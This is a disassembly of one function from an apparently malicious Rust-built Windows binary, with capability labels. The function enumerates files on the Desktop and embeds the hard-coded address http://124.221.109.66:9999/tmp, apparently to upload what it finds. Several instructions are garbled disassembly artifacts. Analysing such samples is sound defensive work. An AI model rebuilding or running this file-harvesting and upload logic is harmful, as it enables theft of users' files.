Function at 0x140008758
Capabilities:
Enumerate files on windows
Get common file path
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xcb8
mov r12, rcx
lea rax, [0x1400cd640]
lea rcx, [rsp + 0x5b8]
mov qword [rcx], rax
mov qword [rcx + 8], 1
and qword [rcx + 0x10], 0
lea rax, str._rustc_897e37553bba8b42751c67658967889d11ecd120librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
call fcn.1400b27c0
movups xmm0, xmmword [0x1400cf7cc]
lea rcx, [rsp + 0x820]
movaps xmmword [rcx], xmm0
lea rsi, [rsp + 0x140]
and qword [rsi], 0
xor edx, edx
xor r8d, r8d
mov r9, rsi
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rsi]
test eax, eax
jne 0x140009617
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rsp + 0x140]
lea rsi, [rsp + 0x5b8]
mov rcx, rsi
call fcn.140096d60
mov rcx, qword [rsp + 0x140]
call sub.ole32.dll_CoTaskMemFree
cmp byte [rsi + 0x18], 2
je 0x140009624
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0xe8], rax
mov rdi, qword [rsp + 0x5c8]
test rdi, rdi
je 0x1400088af
setns al
js 0x14000964a
movzx esi, al
mov rcx, rdi
mov rdx, rsi
call fcn.140009b20
test rax, rax
je 0x140009651
mov r15, rax
mov rcx, rax
mov rdx, qword [rsp + 0x70]
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x398], r15
mov qword [rsp + 0x3a0], rdi
mov qword [rsp + 0x3a8], rdi
mov byte [rsp + 0x3b0], 0
mov edx, 1
mov rcx, rdi
call fcn.140009b20
test rax, rax
je 0x14000965e
mov rsi, rax
lea rbx, [rsp + 0x3a8]
jmp 0x1400088d5
lea rbx, [rsp + 0x3a8]
mov qword [rbx - 0x10], 1
xorps xmm0, xmm0
movups xmmword [rbx - 8], xmm0
mov byte [rbx + 8], 0
mov r15d, 1
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x70]
mov r8, rdi
call sub.msvcrt.dll_memcpy
lea rbp, [rsp + 0x820]
mov qword [rbp], rsi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rdi
mov byte [rbp + 0x18], 0
lea rdx, [0x140122d6c]
mov r8d, 1
mov rcx, rbp
call fcn.1400b0c10
mov r13, qword [rsp + 0x820]
mov r8, qword [rsp + 0x830]
lea rcx, [rsp + 0x5b8]
mov rdx, r13
call fcn.1400adfd0
mov r14, qword [rsp + 0x5b8]
mov rsi, qword [rsp + 0x5c0]
test r14, r14
je 0x1400089f5
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0xd8], r12
lea rsi, [rsp + 0x5b8]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, r14
mov rdx, rsi
call sub.kernel32.dll_FindFirstFileW
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140008a28
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0xa90], xmm0
mov ecx, 0x30
mov edx, 8
call fcn.140009b20
test rax, rax
je 0x14000966d
mov rbx, rax
movaps xmm0, xmmword [0x1400cd020]
movups xmmword [rax], xmm0
mov rbp, r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rdi
movaps xmm0, xmmword [rsp + 0xa90]
movups xmmword [rax + 0x20], xmm0
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5b8]
mov r8d, 0x250
call sub.msvcrt.dll_memcpy
mov r15d, 1
mov rsi, r12
jmp 0x140008a40
mov rdx, qword [rsp + 0x828]
test rdx, rdx
je 0x140008a11
not rdx
shr rdx, 0x3f
mov rcx, r13
call fcn.140009bb0
test rdi, rdi
je 0x140008a23
mov edx, 1
mov rcx, r15
call fcn.140009bb0
mov dil, 1
jmp 0x140008a9b
mov rbp, r15
call sub.kernel32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov r15d, 2
cmp qword [rsp + 0x38], 0
je 0x140008a55
mov edx, 2
mov rcx, r14
call fcn.140009bb0
mov rdx, qword [rsp + 0x828]
test rdx, rdx
je 0x140008a71
not rdx
shr rdx, 0x3f
mov rcx, r13
call fcn.140009bb0
cmp r12, 0xffffffffffffffff
jne 0x140008a89
test rdi, rdi
je 0x140008a89
mov edx, 1
mov rcx, rbp
call fcn.140009bb0
cmp r15d, 2
sete dil
mov r12, qword [rsp + 0xd8]
jne 0x140008b03
mov qword [rsp + 0x820], rsi
mov dword [rsp + 0x830], 2
lea rax, str.Failed_to_read_desktop_directory._n
lea rcx, [rsp + 0x5b8]
mov qword [rcx], rax
mov qword [rcx + 8], 1
and qword [rcx + 0x10], 0
lea rax, str._rustc_897e37553bba8b42751c67658967889d11ecd120librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
call fcn.1400b27c0
lea rdx, str.Desktop_don_t_have_anythinghttp:__124.221.109.66:9999_tmpContent_Type
mov r8d, 0x1b
mov rcx, r12
call fcn.140091345
mov esi, 1
xor edx, edx
jmp 0x140009558
mov byte [rsp + 0x2b], dil
lea rcx, [rsp + 0x834]
mov qword [rcx - 0x14], rsi
mov qword [rcx - 0xc], rbx
mov dword [rcx - 4], r15d
lea rbp, [rsp + 0x140]
mov r8d, 0x250
mov rdx, rbp
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x5b8]
lea rdx, [rsp + 0x820]
mov r8d, 0x268
call sub.msvcrt.dll_memcpy
mov eax, 1
mov qword [rsp + 0x88], rax
lea r15, [rsp + 0x398]
xor eax, eax
mov qword [rsp + 0x80], rax
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x30], r15
mov eax, dword [rsp + 0x5c8]
movzx esi, word [rsp + 0x5f8]
movzx r13d, word [rsp + 0x5fa]
movzx r14d, word [rsp + 0x5fc]
and dword [rsp + 0x5c8], 0
cmp eax, 1
jne 0x140008bd3
mov r12, qword [rsp + 0x5c0]
cmp si, 0x2e
jne 0x140008c6d
test r13w, r13w
je 0x140008bd3
cmp r13w, 0x2e
jne 0x140008c6d
test r14w, r14w
jne 0x140008c6d
mov r8d, 0x250
mov rcx, rbp
xor edx, edx
call sub.msvcrt.dll_memset
mov rsi, qword [rsp + 0x5b8]
mov rcx, rsi
mov rdx, rbp
call sub.kernel32.dll_FindNextFileW
test eax, eax
je 0x140008c46
mov r12, qword [rsp + 0x5c0]
cmp word [rsp + 0x16c], 0x2e
jne 0x140008cbf
movzx eax, word [rsp + 0x16e]
test ax, ax
je 0x140008c37
cmp ax, 0x2e
jne 0x140008cbf
cmp word [rsp + 0x170], 0
jne 0x140008cbf
mov rcx, rsi
mov rdx, rbp
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x140008c02
call sub.kernel32.dll_GetLastError
cmp eax, 0x12
je 0x140009521
call sub.kernel32.dll_GetLastError
mov edi, eax
shl rdi, 0x20
or rdi, 2
mov bl, 1
xor r12d, r12d
jmp 0x140008d64
lock inc qword [r12]
jle 0x1400095b2
mov rdi, qword [rsp + 0x5cc]
lea rax, [rsp + 0x5b8]
movups xmm0, xmmword [rax + 0x1c]
movups xmm1, xmmword [rax + 0x2c]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov eax, dword [rax + 0x3c]
mov dword [rsp + 0x60], eax
mov r8d, 0x21e
mov rcx, r15
lea rdx, [rsp + 0x5fe]
call sub.msvcrt.dll_memcpy
test r12, r12
sete bl
jmp 0x140008d1d
lock inc qword [r12]
jle 0x1400095b2
mov rdi, qword [rsp + 0x140]
movups xmm0, xmmword [rbp + 8]
movups xmm1, xmmword [rbp + 0x18]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x60], eax
movzx esi, word [rsp + 0x16c]
movzx r13d, word [rsp + 0x16e]
movzx r14d, word [rsp + 0x170]
mov r8d, 0x21e
mov rcx, r15
lea rdx, [rsp + 0x172]
call sub.msvcrt.dll_memcpy
xor ebx, ebx
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0xb0], eax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
mov r8d, 0x21e
mov rcx, rbp
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov word [rsp + 0x38], si
mov word [rsp + 0x2e], r13w
mov word [rsp + 0x2c], r14w
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x130], eax
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov r8d, 0x21e
lea rsi, [rsp + 0xa90]
mov rcx, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
test bl, bl
je 0x140008dbc
mov rcx, rdi
call fcn.1400014d9
jmp 0x140008b78
mov qword [rsp + 0x140], r12
mov qword [rsp + 0x148], rdi
mov eax, dword [rsp + 0x130]
mov dword [rbp + 0x30], eax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x10], xmm0
movzx eax, word [rsp + 0x38]
mov word [rsp + 0x174], ax
movzx eax, word [rsp + 0x2e]
mov word [rsp + 0x176], ax
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x178], ax
mov r8d, 0x21e
lea rcx, [rsp + 0x17a]
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov r14, qword [r12 + 0x10]
mov r12, qword [r12 + 0x20]
mov ecx, 0x104
mov r8d, 0x34
mov edx, 0x42
mov r9d, 0x40
mov ebx, 0x3e
mov edi, 0x3c
mov esi, 0x3a
mov eax, 0x38
mov ebp, 0x36
cmp word [rsp + rdx + 0x132], 0
je 0x140008f66
cmp word [rsp + rdx + 0x134], 0
je 0x140008f72
cmp word [rsp + rdx + 0x136], 0
je 0x140008f7e
cmp word [rsp + rdx + 0x138], 0
je 0x140008f89
cmp word [rsp + rdx + 0x13a], 0
je 0x140008f95
cmp word [rsp + rdx + 0x13c], 0
je 0x140008fa1
cmp word [rsp + rdx + 0x13e], 0
je 0x140008fad
cmp word [rsp + rdx + 0x140], 0
je 0x140008fb9
add rcx, 0xfffffffffffffff8
add r8, 0x10
add rdx, 0x10
add r9, 0x10
add rbx, 0x10
add rdi, 0x10
add rsi, 0x10
add rax, 0x10
add rbp, 0x10
cmp rcx, 7
ja 0x140008e64
cmp word [rsp + 0x374], 0
lea rax, [rsp + 0x374]
je 0x140008fc3
cmp word [rsp + 0x376], 0
lea rax, [rsp + 0x376]
je 0x140008fc3
cmp word [rsp + 0x378], 0
lea rax, [rsp + 0x378]
je 0x140008fc3
mov r8d, 0x104
cmp word [rsp + 0x37a], 0
lea rax, [rsp + 0x37a]
jne 0x140008fe0
jmp 0x140008fc3
lea rax, [rsp + r8]
add rax, 0x140
jmp 0x140008fc3
lea rax, [rsp + rbp]
add rax, 0x140
jmp 0x140008fc3
add rax, rsp
add rax, 0x140
jmp 0x140008fc3
lea rax, [rsp + rsi]
add rax, 0x140
jmp 0x140008fc3
lea rax, [rsp + rdi]
add rax, 0x140
jmp 0x140008fc3
lea rax, [rsp + rbx]
add rax, 0x140
jmp 0x140008fc3
lea rax, [rsp + r9]
add rax, 0x140
jmp 0x140008fc3
lea rax, [rsp + rdx]
add rax, 0x140
lea rcx, [rsp + 0x174]
sub rax, rcx
mov r8, rax
shr r8, 1
cmp rax, 0x20a
jae 0x1400095b6
mov rcx, r15
lea rdx, [rsp + 0x174]
call fcn.140096d60
mov rsi, qword [rsp + 0x398]
mov rbp, qword [rsp + 0x3a8]
test r12, r12
je 0x14000902d
js 0x1400095eb
mov rdi, r12
not rdi
shr rdi, 0x3f
mov rcx, r12
mov rdx, rdi
call fcn.140009b20
mov rbx, rax
test rax, rax
jne 0x140009032
jmp 0x1400095db
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, r12
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, rbp
call fcn.1400b0c10
mov rdx, qword [rsp + 0x3a0]
test rdx, rdx
je 0x140009080
not rdx
shr rdx, 0x3f
mov rcx, rsi
call fcn.140009bb0
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
mov rcx, r15
mov rdx, rsi
mov r8, r14
call fcn.140097100
movzx ebp, byte [rsp + 0x398]
mov rax, qword [rsp + 0x3a8]
mov rdx, qword [rsp + 0x3b8]
mov ecx, 6
lea rbx, [0x1400096f4]
movsxd rdi, dword [rbx + rbp*4]
add rdi, rbx
mov rbp, r14
mov rbx, rsi
jmp rdi
add rax, 4
mov rcx, rax
jmp case.0x1400090c9.2
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 8
jmp case.0x1400090c9.2
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 2
jmp case.0x1400090c9.2
mov ecx, 2
mov rbp, r14
sub rbp, rcx
jb 0x1400095ca
add rcx, rsi
mov rbx, rcx
test rbp, rbp
je 0x14000912a
mov al, byte [rbx]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete dil
or dil, cl
jmp 0x14000912c
xor edi, edi
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], r14
mov rax, qword [rsp + 0x3b8]
lea rcx, [rsp + 0xa0]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rsp + 0x398]
movups xmm1, xmmword [rsp + 0x3a8]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov byte [rsp + 0xc8], dil
mov word [rsp + 0xc9], 0x200
movzx esi, byte [rsp + 0xa0]
cmp esi, 6
mov r13d, 0
cmovne r13, rcx
lea r12, [rsp + 0xb0]
mov eax, 0x10
cmove r12, rax
lea r15, [rsp + 0xc0]
mov eax, 0x20
cmove r15, rax
mov cl, 2
lea rbp, [rsp + 0x90]
cmp cl, 1
je 0x1400091e8
movzx eax, cl
cmp eax, 2
jne 0x1400092fa
mov rcx, rbp
call fcn.140097b10
cmp sil, 6
jne 0x140009221
xor ecx, ecx
jmp case.0x140009239.2
mov byte [rsp + 0xca], 0
test dil, dil
jne 0x140009331
xor ecx, ecx
cmp esi, 3
jb 0x1400091c2
cmp esi, 5
je 0x1400091c2
cmp esi, 6
jne 0x140009499
mov rcx, rbp
call fcn.140097b10
xor ecx, ecx
test al, al
je 0x1400091c2
jmp 0x1400094a0
add byte [rax], al
movzx edx, byte [r13]
mov ecx, 6
add byte [rax], al
add byte [rax], al
lea rbx, [0x140009710]
movsxd rdx, dword [rbx + rdx*4]
add rdx, rbx
jmp rdx
mov rcx, qword [r12]
add rcx, 4
jmp case.0x140009239.2
invalid
mov rcx, qword [r12]
mov rcx, qword [r12]
mov rdx, qword [r15]
lea rbp, [rdx + 1]
test rdx, rdx
cmove rbp, rdx
add rcx, rbp
add rcx, 2
jmp 0x140009279
mov rcx, qword [r12]
mov rdx, qword [r15]
lea rbp, [rdx + 1]
test rdx, rdx
test edx, edx
test edx, edx
cmove rbp, rdx
add rcx, rbp
add rcx, 8
lea rbp, [rsp + 0x90]
jmp case.0x140009239.2
mov ecx, 2
movzx eax, al
movzx edx, dil
add rdx, rax
add rdx, rcx
cmp r14, rdx
ja 0x1400092a9
mov byte [rsp + 0xca], 1
mov cl, 1
jmp 0x1400091c2
lea rcx, [rsp + 0x398]
mov rdx, rbp
call fcn.140097c30
mov rcx, r14
sub rcx, qword [rsp + 0x398]
jb 0x140009606
mov rbp, qword [rsp + 0x3a0]
mov r8, qword [rsp + 0x3a8]
mov dl, byte [rsp + 0x3b0]
mov qword [rsp + 0x98], rcx
mov r14, rcx
cmp dl, 0xa
je 0x1400091b8
test bl, al
invalid
invalid
invalid
test bl, al
invalid
jmp case.0x140009322.2
mov al, 0xa
cmp sil, 6
je case.default.0x140009322
movzx ecx, byte [r13]
lea rdx, [0x140009728]
add byte [rax], al
add byte [rax], al
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov rbp, qword [rsp + 0xe0]
mov r8, r14
mov edx, esi
jmp rcx
mov rcx, qword [r12]
add rcx, 4
jmp 0x1400094e4
mov al, 6
test r14, r14
je 0x1400095f5
cmp al, 0xa
sete al
xor ecx, ecx
test al, al
mov r8d, 0
cmove r8, rcx
test r8, r8
mov rdx, r8
lea rax, str._rustc_897e37553bba8b42751c67658967889d11ecd120librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
cmove rdx, rax
cmovne r8, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf8]
call fcn.1400b59b0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x3a8], rax
lea r15, [rsp + 0x398]
mov rcx, r15
lea rdx, [0x1401202d8]
lea r8, [0x1401202d9]
call fcn.1400c90b4
mov rax, qword [rsp + 0x3a8]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x398]
movaps xmmword [rsp + 0x90], xmm0
mov rsi, qword [rsp + 0xf8]
test rsi, rsi
lea rbp, [rsp + 0x140]
jne 0x1400093fe
mov rsi, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140090dd7
mov rbx, rax
mov r14, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
add rdi, rbx
lea rcx, [rsp + 0x90]
mov rdx, rbx
mov r8, rdi
call fcn.1400c90b4
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x78], rax
mov rcx, rbx
mov rdx, r14
call fcn.140090dc2
lea rcx, [rsp + 0xf8]
call fcn.14000150f
dec dword [rax - 0x75]
and al, 0x40
dec dword [rax - 0x75]
and al, 0x40
mov rdx, qword [rsp + 0x48]
call fcn.140090dc2
mov rcx, rbp
call fcn.140001541
jmp 0x140008b78
invalid
invalid
invalid
push qword [rax - 0x16316fa]
invalid
mov al, 6
jmp case.default.0x140009322
mov al, 7
test r14, r14
jne case.default.0x140009322
jmp 0x14000963e
mov rcx, qword [r12]
mov rdx, qword [r15]
and al, 0x49
mov edx, dword [rdi]
lea rbp, [rdx + 1]
test rdx, rdx
cmove rbp, rdx
add rcx, rbp
add rcx, 2
add ecx, 2
add ecx, 2
jmp 0x1400094e4
mov rcx, qword [r12]
mov rdx, qword [r15]
lea rbp, [rdx + 1]
test rdx, rdx
cmove rbp, rdx
add rcx, rbp
add rcx, 8
invalid
invalid
ror dword [rax], 0x48
mov ebp, dword [rsp + 0xe0]
mov rbp, qword [rsp + 0xe0]
mov r8, r14
mov edx, esi
test rcx, rcx
je case.default.0x140009322
cmp dl, 0xa
sete al
cmp dl, 9
mov ecx, 0
cmove rcx, rbp
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0x138], rbp
jmp 0x140009343
lea rcx, [rsp + 0x5b8]
call fcn.14000145c
mov rcx, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0x88]
mov rdx, rsi
mov r8, qword [rsp + 0x78]
call fcn.140009740
mov dil, byte [rsp + 0x2b]
mov rdx, qword [rsp + 0x80]
mov rcx, rsi
call fcn.140090dc2
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0xe8]
call fcn.140090dc2
cmp dword [rsp + 0x830], 2
jne 0x14000958b
mov rcx, qword [rsp + 0x820]
call fcn.1400014d9
jmp 0x14000959d
test dil, dil
je 0x14000959d
lea rcx, [rsp + 0x820]
call fcn.14000145c
nop
add rsp, 0xcb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
lea rax, str.library_std_src_syswindowsmod.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
jmp 0x140009610
lea r8, [0x140121e50]
mov rdx, r14
call fcn.14000dfd0
ud2
mov rcx, r12
mov rdx, rdi
call fcn.14000a410
jmp 0x140009681
call fcn.14000a3c0
jmp 0x140009681
dec r14
lea r8, [0x140121f78]
mov rcx, r14
xor edx, edx
jmp 0x140009610
lea r8, [0x140121f60]
mov rdx, r14
call fcn.14000e060
ud2
call sub.ole32.dll_CoTaskMemFree
mov byte [rsp + 0x5d0], 2
lea rcx, str.Failed_to_get_desktop_directory.
lea r8, [0x1400cd670]
mov edx, 0x20
call fcn.14000f170
ud2
dec r14
lea r8, [0x140121f90]
jmp 0x1400095ff
call fcn.14000a3c0
ud2
mov rcx, rdi
mov rdx, rsi
call fcn.14000a410
ud2
mov edx, 1
mov rcx, rdi
call fcn.14000a410
jmp 0x140009681
mov qword [rsp + 0x30], rbp
mov ecx, 0x30
mov edx, 8
call fcn.14000a410
ud2